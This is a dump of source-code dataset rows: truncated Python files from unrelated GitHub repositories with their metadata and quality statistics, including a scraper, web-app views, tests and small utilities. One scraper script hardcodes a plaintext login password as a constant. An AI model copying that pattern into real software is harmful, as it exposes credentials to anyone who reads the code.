44cc0812c8fb1418f042ebeaafbe5f052af681aa | 356 | py | Python | service/setup.py | pellmont/pymlhelloworld | bc204c62d3f7db75d60da37fcf393428be67670a | [
"MIT"
] | 2 | 2019-02-19T08:03:12.000Z | 2019-02-21T09:35:08.000Z | service/setup.py | pellmont/pymlhelloworld | bc204c62d3f7db75d60da37fcf393428be67670a | [
"MIT"
] | 6 | 2019-02-10T07:25:30.000Z | 2020-03-31T05:47:38.000Z | service/setup.py | pellmont/pymlhelloworld | bc204c62d3f7db75d60da37fcf393428be67670a | [
"MIT"
] | null | null | null | """packaging for pymlhelloworld."""
from setuptools import find_packages, setup
setup(
name='pymlhelloworld',
version='1.0.0',
packages=find_packages(),
url='https://github.com/pellmont/pymlhelloworld',
license='MIT',
author='Pascal Pellmont',
author_email='github@ppo2.ch',
description... | 23.733333 | 53 | 0.69382 | 42 | 356 | 5.809524 | 0.714286 | 0.098361 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013423 | 0.162921 | 356 | 14 | 54 | 25.428571 | 0.805369 | 0.081461 | 0 | 0 | 0 | 0 | 0.383178 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44d2a2bc0b208816a140da183e36009b13e72df9 | 4,225 | py | Python | gtf-collector.py | vst42/gtf-collector | 930945a578f360f23230ec3af7e0df5e4d14e327 | [
"MIT"
] | 1 | 2021-02-09T15:44:35.000Z | 2021-02-09T15:44:35.000Z | gtf-collector.py | vst42/gtf-collector | 930945a578f360f23230ec3af7e0df5e4d14e327 | [
"MIT"
] | null | null | null | gtf-collector.py | vst42/gtf-collector | 930945a578f360f23230ec3af7e0df5e4d14e327 | [
"MIT"
] | 1 | 2021-02-09T15:44:37.000Z | 2021-02-09T15:44:37.000Z | #!/usr/bin/env python
import urllib
import urllib2
import cookielib
import xml.dom.minidom
import json
import time
import random
import re
# Config
HOST = "global-trend-finder.com"
PASSWORD = "u42UzwZx"
CHUNK_SIZE = 500
def sign_in(password):
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPC... | 26.40625 | 96 | 0.682367 | 515 | 4,225 | 5.52233 | 0.299029 | 0.028481 | 0.02391 | 0.035162 | 0.458861 | 0.36744 | 0.321027 | 0.321027 | 0.294655 | 0.294655 | 0 | 0.012717 | 0.181065 | 4,225 | 159 | 97 | 26.572327 | 0.809249 | 0.156923 | 0 | 0.378947 | 0 | 0 | 0.191297 | 0.030517 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.042105 | 0.084211 | null | null | 0.084211 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44d72bab2baf0228488961d72fd194ddfcd0e3d6 | 2,336 | py | Python | tester.py | jaime-varela/boaAnalysisTool | 964d06f3ce73f70f44b19f36c96b57f760ff8da8 | [
"MIT"
] | 2 | 2020-09-30T05:59:55.000Z | 2022-01-10T04:49:23.000Z | tester.py | jaime-varela/boaAnalysisTool | 964d06f3ce73f70f44b19f36c96b57f760ff8da8 | [
"MIT"
] | 7 | 2020-01-18T18:48:30.000Z | 2020-11-21T09:04:51.000Z | tester.py | jaime-varela/boaAnalysisTool | 964d06f3ce73f70f44b19f36c96b57f760ff8da8 | [
"MIT"
] | null | null | null | from analasisAPI.fileLoader import LoadFile
from analasisAPI.queries import filterDataFrameByRegex
from analasisAPI.queries import filterDataFrameByDate
from analasisAPI.queries import filterDataFrameByAmount
from analasisAPI.queries import queryBankDataFrame
from analasisAPI.plotUtilities import plotDataFrameTimeSeri... | 29.2 | 124 | 0.80137 | 257 | 2,336 | 7.272374 | 0.412451 | 0.088283 | 0.053505 | 0.059925 | 0.093098 | 0.065276 | 0 | 0 | 0 | 0 | 0 | 0.038661 | 0.092038 | 2,336 | 79 | 125 | 29.56962 | 0.842527 | 0.385702 | 0 | 0 | 0 | 0 | 0.0511 | 0.029099 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.481481 | 0 | 0.481481 | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
44dcabd3958d015aebe969c26780489b94927fe1 | 2,722 | py | Python | manga_py/providers/exhentai_org.py | paulolimac/manga-py | 3d180846750a4e770b5024eb8cd15629362875b1 | [
"MIT"
] | null | null | null | manga_py/providers/exhentai_org.py | paulolimac/manga-py | 3d180846750a4e770b5024eb8cd15629362875b1 | [
"MIT"
] | null | null | null | manga_py/providers/exhentai_org.py | paulolimac/manga-py | 3d180846750a4e770b5024eb8cd15629362875b1 | [
"MIT"
] | null | null | null | from sys import exit
from time import sleep
from manga_py.fs import get_util_home_path, path_join, is_file, unlink
from .e_hentai_org import EHentaiOrg
from lxml.html import HtmlElement
class ExHentaiOrg(EHentaiOrg):
__uri = 'https://forums.e-hentai.org/index.php?act=Login&CODE={}'
cookie_file = None
... | 32.795181 | 96 | 0.563924 | 322 | 2,722 | 4.63354 | 0.375776 | 0.040214 | 0.046917 | 0.020107 | 0.029491 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004186 | 0.297943 | 2,722 | 82 | 97 | 33.195122 | 0.776557 | 0.041514 | 0 | 0.033898 | 0 | 0 | 0.162461 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.050847 | false | 0.050847 | 0.084746 | 0 | 0.220339 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
44dd06af25c4d5ad14c8210fc66a3a80fc95a3ed | 600 | py | Python | tests/test_mongoengine.py | ankane/python-timeouts | bf939d5ef3bc8391d9ca8c2750c765fbd0bf63ae | [
"MIT"
] | 6 | 2021-10-01T06:38:22.000Z | 2022-03-23T09:22:06.000Z | tests/test_mongoengine.py | ankane/python-timeouts | bf939d5ef3bc8391d9ca8c2750c765fbd0bf63ae | [
"MIT"
] | null | null | null | tests/test_mongoengine.py | ankane/python-timeouts | bf939d5ef3bc8391d9ca8c2750c765fbd0bf63ae | [
"MIT"
] | null | null | null | from .conftest import TestTimeouts
from mongoengine import connect
from pymongo.errors import ServerSelectionTimeoutError
class TestMongoEngine(TestTimeouts):
def test_connect(self):
with self.raises(ServerSelectionTimeoutError):
connect(alias='connect', host=self.connect_host(), serverSelecti... | 42.857143 | 145 | 0.763333 | 62 | 600 | 7.274194 | 0.419355 | 0.031042 | 0.053215 | 0.079823 | 0.496674 | 0.496674 | 0.252772 | 0 | 0 | 0 | 0 | 0.015385 | 0.133333 | 600 | 13 | 146 | 46.153846 | 0.851923 | 0 | 0 | 0.2 | 0 | 0 | 0.018333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.3 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
44e63be57308ed0e886622cacaafb6d445b642fd | 1,307 | py | Python | maddux/examples/obstacle_collision.py | smart-scaffolding/robot-controller | e6179b958fd4c1196a085c4b9ad253806c29fe14 | [
"MIT"
] | null | null | null | maddux/examples/obstacle_collision.py | smart-scaffolding/robot-controller | e6179b958fd4c1196a085c4b9ad253806c29fe14 | [
"MIT"
] | 3 | 2019-09-01T00:54:30.000Z | 2019-09-02T15:25:35.000Z | maddux/examples/obstacle_collision.py | smart-scaffolding/robot-controller | e6179b958fd4c1196a085c4b9ad253806c29fe14 | [
"MIT"
] | null | null | null | import numpy as np
from maddux.objects import Obstacle, Ball
from maddux.environment import Environment
from maddux.robots import simple_human_arm
def obstacle_collision():
"""Tests whether an arm in its final configuration makes contact
with either of our obstacles.
"""
# Create two obstacles
ob... | 31.119048 | 78 | 0.610559 | 188 | 1,307 | 4.111702 | 0.393617 | 0.018111 | 0.011643 | 0.049159 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056782 | 0.27238 | 1,307 | 41 | 79 | 31.878049 | 0.756046 | 0.10176 | 0 | 0 | 0 | 0 | 0.045283 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.173913 | null | null | 0.173913 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44ec4e4fd42e0ac5e65c630fc9f52f51340ed954 | 5,152 | py | Python | backend/core/views.py | marcosflp/commitz | 9402e96bad0ac66f054b22c020bf6fbac358b4ec | [
"MIT"
] | 1 | 2020-03-02T19:58:37.000Z | 2020-03-02T19:58:37.000Z | backend/core/views.py | marcosflp/commitz | 9402e96bad0ac66f054b22c020bf6fbac358b4ec | [
"MIT"
] | 7 | 2020-06-06T01:12:25.000Z | 2022-02-10T11:48:09.000Z | backend/core/views.py | marcosflp/commitz | 9402e96bad0ac66f054b22c020bf6fbac358b4ec | [
"MIT"
] | null | null | null | import datetime
import github
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from django_filters.rest_framework import DjangoFilterBackend
from rest_framework import viewsets, status
from rest_framework.decorators import action
from rest_framework.filters import SearchFilter
... | 40.25 | 120 | 0.713121 | 517 | 5,152 | 6.905222 | 0.294004 | 0.035294 | 0.040336 | 0.05042 | 0.279272 | 0.241737 | 0.20084 | 0.160224 | 0.117927 | 0.077311 | 0 | 0.006768 | 0.197011 | 5,152 | 127 | 121 | 40.566929 | 0.856176 | 0 | 0 | 0.174757 | 0 | 0 | 0.111025 | 0.014946 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058252 | false | 0 | 0.184466 | 0.038835 | 0.582524 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
44ec95e2557ef1c8bfeb4c7ccf281aa03dc12279 | 1,302 | py | Python | schemas.py | GabrielIFPB/wishlist-fastapi | 1d39bf4c65dcc4491d0836487a218e67dbb07a80 | [
"MIT"
] | null | null | null | schemas.py | GabrielIFPB/wishlist-fastapi | 1d39bf4c65dcc4491d0836487a218e67dbb07a80 | [
"MIT"
] | null | null | null | schemas.py | GabrielIFPB/wishlist-fastapi | 1d39bf4c65dcc4491d0836487a218e67dbb07a80 | [
"MIT"
] | null | null | null |
from fastapi import Form, UploadFile, File
from typing import Optional, List
from pydantic import BaseModel
class Product(BaseModel):
title: str = Form(...)
description: Optional[str] = None
link: Optional[str] = None
image: Optional[str] = None
buy: Optional[bool] = False
# class Config:
# orm_mode = True... | 16.074074 | 42 | 0.692012 | 167 | 1,302 | 5.311377 | 0.287425 | 0.086809 | 0.118377 | 0.081172 | 0.422773 | 0.271702 | 0.180383 | 0.180383 | 0.180383 | 0.180383 | 0 | 0 | 0.194316 | 1,302 | 80 | 43 | 16.275 | 0.845567 | 0.070661 | 0 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02 | false | 0.04 | 0.06 | 0 | 0.76 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
44f6afc5613621fda1f044773b97c47c54e7de4f | 643 | py | Python | backend/database/database.py | takusan64/world-dictionary-backend | 98d92547eef6c5bb4adf89dd412273d30db00317 | [
"MIT"
] | null | null | null | backend/database/database.py | takusan64/world-dictionary-backend | 98d92547eef6c5bb4adf89dd412273d30db00317 | [
"MIT"
] | null | null | null | backend/database/database.py | takusan64/world-dictionary-backend | 98d92547eef6c5bb4adf89dd412273d30db00317 | [
"MIT"
] | null | null | null | import psycopg2
import psycopg2.extras
import config
class DB_Base(object):
def __init__(self):
self.host = config.DB_HOST
self.port = config.DB_PORT
self.user = config.DB_USER
self.password = config.DB_PASSWORD
self.database = config.DATABASE
# connect db
def create_connection(... | 25.72 | 57 | 0.679627 | 78 | 643 | 5.435897 | 0.358974 | 0.075472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010163 | 0.234837 | 643 | 25 | 58 | 25.72 | 0.851626 | 0.032659 | 0 | 0 | 0 | 0 | 0.008389 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0.095238 | 0.142857 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
44f8843655fa8a4e36bcb0ca4742d8fb511c33aa | 1,323 | py | Python | Spam Message Classifier/spam classifier.py | Rutikab12/NLP | 54445bcdeaec57cd30d16f7d008848945e408dcb | [
"MIT"
] | null | null | null | Spam Message Classifier/spam classifier.py | Rutikab12/NLP | 54445bcdeaec57cd30d16f7d008848945e408dcb | [
"MIT"
] | null | null | null | Spam Message Classifier/spam classifier.py | Rutikab12/NLP | 54445bcdeaec57cd30d16f7d008848945e408dcb | [
"MIT"
] | null | null | null | import pandas as pd
messages = pd.read_csv('SMSSpamCollection',sep='\t',names=['lables','message'])
#cleaning and preprocessing of data
import nltk
import re
from nltk.corpus import stopwords
from nltk.stem.porter import PorterStemmer
ps = PorterStemmer()
corpus=[]
for i in range(0,len(messages)):
review = re.sub... | 30.767442 | 89 | 0.76644 | 201 | 1,323 | 4.875622 | 0.462687 | 0.056122 | 0.042857 | 0.030612 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008584 | 0.119426 | 1,323 | 43 | 90 | 30.767442 | 0.832618 | 0.088435 | 0 | 0 | 0 | 0 | 0.052369 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.344828 | 0 | 0.344828 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
78046d239b0501ac87c488bdbcfaa85e861a57e7 | 460 | py | Python | synth/klatt_test.py | guestdaniel/TrackDraw | 7ab9418ecdd0b77edc64f02533af3050e639e509 | [
"MIT"
] | 4 | 2018-04-28T15:14:35.000Z | 2020-03-28T09:48:13.000Z | synth/klatt_test.py | guestdaniel/TrackDraw | 7ab9418ecdd0b77edc64f02533af3050e639e509 | [
"MIT"
] | null | null | null | synth/klatt_test.py | guestdaniel/TrackDraw | 7ab9418ecdd0b77edc64f02533af3050e639e509 | [
"MIT"
] | 2 | 2018-12-11T01:01:14.000Z | 2020-05-18T13:04:21.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
KLATT TEST FILE - FOR PROFILING
"""
import klatt
# N_INV for easy control!
N_INV = 200
f0 = [100]*N_INV
ff = [[500]*N_INV, [1500]*N_INV, [2500]*N_INV, [3500]*N_INV, [4500]*N_INV]
bw = [[100]*N_INV, [100]*N_INV, [100]*N_INV, [100]*N_INV, [100]*N_INV]
env = None
fs = 1... | 20 | 74 | 0.643478 | 90 | 460 | 3.055556 | 0.4 | 0.232727 | 0.152727 | 0.145455 | 0.127273 | 0.127273 | 0.127273 | 0.127273 | 0.127273 | 0.127273 | 0 | 0.134367 | 0.158696 | 460 | 22 | 75 | 20.909091 | 0.576227 | 0.215217 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
780541304f0cb9eaed506476ddb86881680c045f | 1,881 | py | Python | seagull/lifeforms/oscillators.py | eugenpt/seagull | b151f4cc3e79324a8bc28ccc44317d455d838c81 | [
"MIT"
] | null | null | null | seagull/lifeforms/oscillators.py | eugenpt/seagull | b151f4cc3e79324a8bc28ccc44317d455d838c81 | [
"MIT"
] | null | null | null | seagull/lifeforms/oscillators.py | eugenpt/seagull | b151f4cc3e79324a8bc28ccc44317d455d838c81 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Oscillators are lifeforms that returns to its initial configuration after
some time"""
# Import modules
import numpy as np
from .base import Lifeform
class Blinker(Lifeform):
"""A horizontal Blinker lifeform"""
def __init__(self, length=3):
"""Initialize the class
... | 21.134831 | 76 | 0.54067 | 240 | 1,881 | 4.070833 | 0.270833 | 0.04913 | 0.056295 | 0.107472 | 0.440123 | 0.440123 | 0.440123 | 0.440123 | 0.354145 | 0.141249 | 0 | 0.038256 | 0.305157 | 1,881 | 88 | 77 | 21.375 | 0.709258 | 0.240298 | 0 | 0.377778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.044444 | 0.044444 | 0.488889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7807797eccf3f9dde6e67f0c8d12f354f6bb7b09 | 2,073 | py | Python | insights/tests/client/collection_rules/test_get_conf_update.py | mglantz/insights-core | 6f20bbbe03f53ee786f483b2a28d256ff1ad0fd4 | [
"Apache-2.0"
] | 121 | 2017-05-30T20:23:25.000Z | 2022-03-23T12:52:15.000Z | insights/tests/client/collection_rules/test_get_conf_update.py | mglantz/insights-core | 6f20bbbe03f53ee786f483b2a28d256ff1ad0fd4 | [
"Apache-2.0"
] | 1,977 | 2017-05-26T14:36:03.000Z | 2022-03-31T10:38:53.000Z | insights/tests/client/collection_rules/test_get_conf_update.py | mglantz/insights-core | 6f20bbbe03f53ee786f483b2a28d256ff1ad0fd4 | [
"Apache-2.0"
] | 244 | 2017-05-30T20:22:57.000Z | 2022-03-26T10:09:39.000Z | # -*- coding: UTF-8 -*-
from .helpers import insights_upload_conf
from mock.mock import patch
from pytest import raises
collection_rules = {"version": "1.2.3"}
collection_rules_file = "/tmp/collection-rules"
@patch("insights.client.collection_rules.InsightsUploadConf.get_conf_file")
@patch("insights.client.collect... | 36.368421 | 114 | 0.789677 | 275 | 2,073 | 5.552727 | 0.218182 | 0.265226 | 0.072037 | 0.13294 | 0.629339 | 0.51539 | 0.458415 | 0.458415 | 0.455796 | 0.455796 | 0 | 0.002189 | 0.118669 | 2,073 | 56 | 115 | 37.017857 | 0.833607 | 0.107574 | 0 | 0.34375 | 0 | 0 | 0.288803 | 0.274945 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.09375 | false | 0 | 0.09375 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
780bd06a30b9d809a20315cdc4caf2804cce526a | 2,270 | py | Python | Mailbox.py | jkingsman/mockmail.io | 9410f8d98aa0336295367629e3c22ce150567bb0 | [
"MIT"
] | 28 | 2015-12-24T07:30:28.000Z | 2018-09-27T20:05:32.000Z | Mailbox.py | jkingsman/mockmail.io | 9410f8d98aa0336295367629e3c22ce150567bb0 | [
"MIT"
] | 20 | 2015-12-20T10:42:20.000Z | 2015-12-30T18:37:51.000Z | Mailbox.py | jkingsman/mockmail.io | 9410f8d98aa0336295367629e3c22ce150567bb0 | [
"MIT"
] | 5 | 2015-12-24T21:50:07.000Z | 2017-10-24T15:30:31.000Z | import smtpd
import random
import pprint
import asyncore
from email.parser import Parser
from twisted.internet import task
from Config import bindingPort, bindingIP, dropSize
staged = []
class MailboxHandler():
def __init__(self, queue):
self.binding = (bindingIP, bindingPort)
def stagedToQueue(... | 32.898551 | 90 | 0.578855 | 229 | 2,270 | 5.681223 | 0.445415 | 0.036895 | 0.027671 | 0.039969 | 0.069178 | 0.069178 | 0 | 0 | 0 | 0 | 0 | 0.003209 | 0.313656 | 2,270 | 68 | 91 | 33.382353 | 0.831836 | 0.080176 | 0 | 0.08 | 0 | 0 | 0.109563 | 0.024027 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.14 | null | null | 0.08 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7815a776c0dcc1ea8258fb775145cff8d37ba9d0 | 2,025 | py | Python | tornado_web_org/coroutine.py | danielsunzhongyuan/tornado_practice | 0161dc7ef0211c7a9d59e0a7037ba0970ea5ac64 | [
"Apache-2.0"
] | null | null | null | tornado_web_org/coroutine.py | danielsunzhongyuan/tornado_practice | 0161dc7ef0211c7a9d59e0a7037ba0970ea5ac64 | [
"Apache-2.0"
] | null | null | null | tornado_web_org/coroutine.py | danielsunzhongyuan/tornado_practice | 0161dc7ef0211c7a9d59e0a7037ba0970ea5ac64 | [
"Apache-2.0"
] | null | null | null | from tornado import gen
from tornado.httpclient import AsyncHTTPClient
@gen.coroutine
def fetch_coroutine(url):
http_client = AsyncHTTPClient()
response = yield http_client.fetch(url)
# in Python versions prior to 3.3
raise gen.Return(response.body)
# in Python versions after 3.3
# return respon... | 21.774194 | 76 | 0.701728 | 285 | 2,025 | 4.863158 | 0.364912 | 0.095238 | 0.119048 | 0.04329 | 0.165945 | 0.085137 | 0.04329 | 0.04329 | 0 | 0 | 0 | 0.018001 | 0.204444 | 2,025 | 93 | 77 | 21.774194 | 0.842334 | 0.186173 | 0 | 0.321429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.053571 | 0.017857 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
781b39798cef0ed114b8667a1fd540dbbe54d13d | 5,877 | py | Python | uu/formlibrary/browser/widget.py | mostscript/uu.formlibrary | a7f5819abac7c1ddea69ddee8fce465d45f4d1d5 | [
"BSD-4-Clause-UC"
] | null | null | null | uu/formlibrary/browser/widget.py | mostscript/uu.formlibrary | a7f5819abac7c1ddea69ddee8fce465d45f4d1d5 | [
"BSD-4-Clause-UC"
] | null | null | null | uu/formlibrary/browser/widget.py | mostscript/uu.formlibrary | a7f5819abac7c1ddea69ddee8fce465d45f4d1d5 | [
"BSD-4-Clause-UC"
] | null | null | null | from Products.Archetypes.Registry import registerWidget
from plone.app.layout.navigation.root import getNavigationRootObject
try:
from plone.app.widgets.dx import IRelatedItemsWidget
from plone.app.widgets.dx import RelatedItemsWidget
from plone.app.widgets.dx import RelationChoiceRelatedItemsWidgetConverte... | 32.832402 | 91 | 0.70342 | 592 | 5,877 | 6.902027 | 0.288851 | 0.030837 | 0.041116 | 0.0372 | 0.314489 | 0.236172 | 0.134606 | 0.134606 | 0.134606 | 0.134606 | 0 | 0.002379 | 0.213374 | 5,877 | 178 | 92 | 33.016854 | 0.881462 | 0.176961 | 0 | 0.27193 | 0 | 0 | 0.061999 | 0.016449 | 0 | 0 | 0 | 0 | 0 | 1 | 0.061404 | false | 0 | 0.236842 | 0.008772 | 0.535088 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
781c36221aff41e08d3bc5c597c28a588e53a4f0 | 469 | py | Python | tests/test_configuration.py | elehcimd/metacash | 3681df7d14d656ffb30d4b8720368845f99cce58 | [
"MIT"
] | 1 | 2021-03-31T13:59:42.000Z | 2021-03-31T13:59:42.000Z | tests/test_configuration.py | elehcimd/metacash | 3681df7d14d656ffb30d4b8720368845f99cce58 | [
"MIT"
] | 2 | 2021-03-31T14:28:11.000Z | 2021-03-31T15:31:32.000Z | tests/test_configuration.py | elehcimd/metacash | 3681df7d14d656ffb30d4b8720368845f99cce58 | [
"MIT"
] | null | null | null | from metacash.configuration import Configuration
from metacash.readers.inbank import InBankCSV
import logging
def test_load():
config = Configuration("fixtures/dataset1/config.py")
config.describe()
# verify that we've loaded three accounts
assert list(config["accounts"].keys()) == ['iban1', 'iban2',... | 31.266667 | 76 | 0.722814 | 55 | 469 | 6.145455 | 0.672727 | 0.071006 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012531 | 0.149254 | 469 | 14 | 77 | 33.5 | 0.834586 | 0.196162 | 0 | 0 | 0 | 0 | 0.205882 | 0.072193 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.125 | false | 0 | 0.375 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
783a848ecf23becea8c3c30edff557fd9ae8dc96 | 352 | py | Python | button.py | michadenheijer/speaking-thermometer | 822ad22770adccaa73bf56fe38c27bff81bffc50 | [
"MIT"
] | null | null | null | button.py | michadenheijer/speaking-thermometer | 822ad22770adccaa73bf56fe38c27bff81bffc50 | [
"MIT"
] | null | null | null | button.py | michadenheijer/speaking-thermometer | 822ad22770adccaa73bf56fe38c27bff81bffc50 | [
"MIT"
] | null | null | null | from speaking import say_temp, say_shutdown
from temperature import get_temp
import os
import keyboard
import time
def key_press(key):
if "a down" in str(key):
say_shutdown()
time.sleep(5)
os.system("sudo shutdown now")
else:
say_temp(get_temp())
keyboard.on_press(key_press)
w... | 16.761905 | 43 | 0.676136 | 53 | 352 | 4.320755 | 0.54717 | 0.061135 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007435 | 0.235795 | 352 | 20 | 44 | 17.6 | 0.843866 | 0 | 0 | 0 | 0 | 0 | 0.065714 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
783dcb26cf53da98e6d0a46924d6d4e915078b1c | 897 | py | Python | sleuthpr/migrations/0017_auto_20201026_2137.py | sleuth-io/sleuth-pr | aecbd8ff993cf77635bbd50dc2a4d7994642f674 | [
"Apache-2.0"
